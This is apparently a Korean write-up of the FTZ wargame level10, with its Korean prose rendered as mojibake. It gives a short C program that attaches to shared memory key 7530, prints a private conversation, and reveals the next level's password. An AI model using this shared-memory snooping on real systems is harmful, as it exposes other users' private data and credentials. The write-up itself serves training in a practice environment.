[FTZ] level10 νμ΄
π‘ FTZ level10 νμ΄
λ¬Έμ
κ³μ : level10/interesting to hack!
hint
λλͺ
μ μ¬μ©μκ° λνλ°©μ μ΄μ©νμ¬ λΉλ°μ€λ° λνλ₯Ό λλκ³ μλ€.
κ·Έ λνλ°©μ 곡μ λ©λͺ¨λ¦¬λ₯Ό μ΄μ©νμ¬ λ§λ€μ΄μ‘μΌλ©°,
key_tμ κ°μ 7530μ΄λ€. μ΄λ₯Ό μ΄μ©ν΄ λ μ¬λμ λνλ₯Ό λμ²νμ¬
level11μ κΆνμ μ»μ΄λΌ.
- λ 벨μ μλ£νμ
¨λ€λ©΄ μμ€λ μ§μ°κ³ λκ°μ£ΌμΈμ.
νμ΄
곡μ λ©λͺ¨λ¦¬μ μ‘΄μ¬νλ λ¬Έμμ΄μ μ½μ΄μ€λ λ¬Έμ μ λλ€.
β리λ μ€ κ³΅μ λ©λͺ¨λ¦¬β λ₯Ό ꡬκΈμ κ²μν΄μ κ°μ₯ μλ¨μ μλ ν¬μ€ν μ μ°Έκ³ νμ¬ μ½λλ₯Ό μμ±νμ΅λλ€.
μ 체 μ½λλ λ€μκ³Ό κ°μ΅λλ€.
prog.c
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main(){
int shmid;
char *secret;
key_t key=7530;
void *memory_segment = NULL;
shmid = shmget(key,0,0); //key κ°μ ν΅ν΄ 곡μ λ©λͺ¨λ¦¬ id μ»κΈ°
memory_segment = shmat(shmid,NULL,0); // 곡μ λ©λͺ¨λ¦¬ μμΉ
secret = (char*)memory_segment; //char*λ‘ μΊμ€ν
printf("%s\n",secret);
}
μ»΄νμΌ ν μ€νν΄ μ€λλ€. λΉλ°λ²νΈλ what!@#$?μ λλ€.
[level10@ftz tmp]$ gcc -o prog prog.c
[level10@ftz tmp]$ ./prog
λ©λ©: level11μ ν¨μ€μλλ?
ꡬν: what!@#$?
λκΈλ¨κΈ°κΈ°